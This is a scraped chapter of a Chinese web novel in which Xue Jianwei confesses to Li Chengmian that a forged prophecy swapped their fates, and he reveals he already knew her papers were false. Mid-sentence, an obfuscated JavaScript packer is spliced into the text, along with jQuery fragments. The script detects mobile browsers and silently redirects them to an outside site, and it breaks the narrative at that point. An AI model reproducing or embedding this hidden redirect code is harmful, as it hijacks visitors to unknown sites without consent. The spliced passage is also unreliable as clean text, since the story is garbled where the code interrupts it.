84. 望春回(十)
作品:《她收到一封诀别书》 如此百般恳切地发问,没有成千也有上百,但薛见微这颗金石完全不为所动,李承冕两眼发沉,继而怒声呵斥道:“你若是还想着借李昇的光出宫去,我劝你趁早死了这个心,即使我死也要拘着你一并入地府。”
“李承冕,平心而论,这是你我之间的事情,为何总要牵连无辜之人?”薛见微面带愠色,眉头一皱,“我看你今日也是发了疯症,懒得与你多费口舌。”
她也真是生了气,猝不及防抬声呛了两句,尚未好利索的嗓子登时像吞了火炭沁出一点腥气,薛见微弯着腰靠在桌角咳嗽起来。
庭院里栖息觅食的麻雀陡然听了声响,扑棱着翅膀飞上树梢,左顾右盼惶惶不安。
见薛见微蜷成一只虾米,李承冕面色犹豫,还是上前一步伸手搀扶,却被薛见微“啪!”得一声打掉,“不劳你费心,要杀要刮,悉听尊便。”
她稳住身形转身就走,不料李承冕眼疾手快一把箍上她的腰,也不说话。病了一场的身子骨碰上李承冕十足的力气,竟有点蚍蜉撼大树的无力。
薛见微气道:“李承冕,你松手!”
“就算叫我死个明白,成么?”李承冕沉闷的声音从头顶传来,带着断断续续的呼吸,已然不成语调。
腰间禁锢的力道不减,似乎不得一份答案誓不罢休。
薛见微抿了抿发干的嘴唇,她已经身处悬崖边境退无可退,还能怎么办呢?
“好,今日就在菩萨的见证下,我全部告诉你。”薛见微两手覆在腰间李承冕冰凉的手背上,轻轻摩挲两下,李承冕像是听话的精怪随之松手。
薛见微得以转身,昂起头与李承冕四目相对。他长长的睫毛像是雨天的燕子湿了羽毛,蜷缩在一起。浅浅的眼皮印上两片绯红的桃花零落成泥碾作尘,极力隐忍,等候最后的审判。
薛见微忍不住抬指抚去他眼角的潮汽,继而深深松了口气,“那是那么久远的事情,承免,你恨李鼎么?恨他将你自小束在永巷,害得你在冷言冷语中长大,恨他夺走你的母亲,你好不容易再一次站在他的面前,他却辱你,将你圈禁永巷,你应该恨他不做父,不为君,从始至终没有尽过责,对么?”
李承冕眼中泛起一丝疑惑,“这有何干系?为何要提及他?”
薛见微浅笑,“邀请你听我讲一个故事,大荀曾经有一尾龙为了夺得宝藏,不惜踏进邻国烧杀掠夺抢来邻国的公主,也许他对这位公主有过真心,但耐不住两人之间的磨难考验过多,和光六年,真龙重病缠身,天灾人祸频发,一名方士受挚友所托占卜推演倾言告之,一切祸端皆是因一海不容二龙,真龙与一名甲辰年冬月二十八诞生的元男相克,自此,虽然这名元男为真龙与公主的血肉,也不得不在永巷中忍辱苟且偷生。”
“你见过我的户贴,其实那些都是杨司使为了护我周全编造的假身份,我的父亲是追随燎阳皇子出走的尊长,观天司的副司使薛轶。和光六年,他推演出多年后会手刃李鼎的,并非是你,而是我,与你同年同月同日出生的罪魁祸首。父亲为了留我一命,将占卜的性别偷梁换柱,由元女换为元男。我才得以偷生。知道为何陈继广会在你抵达瞿州当日自尽么,因为他是知晓全貌存活下来的局中人,为了保守秘密,他只能自行了结。”
“所以,自始自终你根本就恨错了人,害你至此的并非李鼎,而是我。站在你面前的薛见微,是这个人偷走了你的人生,换走了你的命,这些都是我的孽债!而我能为你做得最后一件事,就是助你登上皇位,所以,李鼎必须死于我手,我怎能鸠占鹊巢抢了你的气运,又袖手旁观你在仇恨中越陷越深。”
一口气说完,如释重负般,薛见微失了精气神,两眼悲凄噙着泪水,她听天由命般偏过头露出脖颈,“拿去吧,我的命你也拿去吧,当日你提着匕首要了结李鼎,此刻你也杀了我偿债吧!”
白皙的脖颈羸弱不堪,李承冕忽而想起,在燎阳的登仙台时,薛见微也是这样缠绕这一缕天光明晃晃展示在自己的眼前,像一颗举世无双熠熠生辉的明珠,照亮所有的荆棘迷途。
彼时他还执拗地自认为千里迢迢追到燎阳,只是为了擒获一柄利刃为自己所用,直至那一日,他情不自禁擒上薛见微的脖颈,重新许下婚娶诺言。
那些即便失忆了也无法藏匿的情真意切,在薛见微面前溃不成军。
而现下,薛见微再一次露出自己的要害,只是为了一心求死。
所有的真相堂而皇之摆到李承冕的面前,他竟然迫不及待松了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524403|154524||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口气。好比他已经做好了充分的准备,伸长脖子躺在铡刀下,刽子手却大发慈悲地挠了他两下痒痒,算是行刑完毕。
千百次无休止地追问,难以启齿的答案竟然如此简单。
她说这是那么久远的事情,久么?
李承冕牵动嘴角苦笑一下,倘若要仔细计较起来,确实很久,又该从何说起呢?
“燎阳之野,地当西南徼外,其地崇山沓嶂,如万马奔突于云雾中,谿涧环错,然岩岫相倚,故田畴皆垒石为磡,叠级而上,望之如天梯挂于青壁,虽悬绝千仞,亦能导泉以溉,春耕时白水漫坡,恍若银鳞耀日。”
李承冕低声道:“还记得么?这一段区区几十个字,你却背了整整一下午。”
薛见微心头一震,李承冕诵出的这一段是《燎阳广谈》下卷的第一段,也正如李承冕所言,她曾老老实实背了整整一个下午。
那时家中来客,薛轶偏偏责令她居在书房背完功课才能出门,她一个性急之人,越是着急越是背不下来,哼哼唧唧念到下卷实在无能为力,眼看日头西沉,她索性破罐子破摔,扔了书本偷偷翻窗溜出门去,等兴尽而返时,这本书不翼而飞,她只有偷偷换来薛轶的藏本充数,屋漏偏逢连阴雨,她做贼心虚又打翻了印台损坏了原书,只能勤勤恳恳抄录了一本书受罚代过。
李承冕道:“也是正月十五,李鼎破天荒准予母亲携我出宫参加诵经祈福,母亲途中辗转带我拜访友家,大人们议事,我只有候在一旁等待,亲眼见你念经般翻来覆去念了一下午都背不完整,我心痒难耐取走书本,想着快快背完在你面前显摆两下,可惜未能等到你回来,我便随母亲离去。”
李承冕忍不住勾起手指弹在薛见微的眉心,“后来在文思阁时,我就在想,士别三日也应当刮目相看,直到亲眼阅到你写的文章,我才明白,不说三日,哪怕三年、三十年,你还是没变。”
他看着目瞪口呆的薛见微,柔声道:“不然,当年三司会审,赵稳拿出你的户贴时,我如何能一力作保,同你一起赢下一场。归根结底,我本就知道那张户贴为假。幸好早有准备,那一场案子赢得不算过于坎坷。”
“薛见微,如何偿还债务,也应该由债主决定,而不是欠债之人。”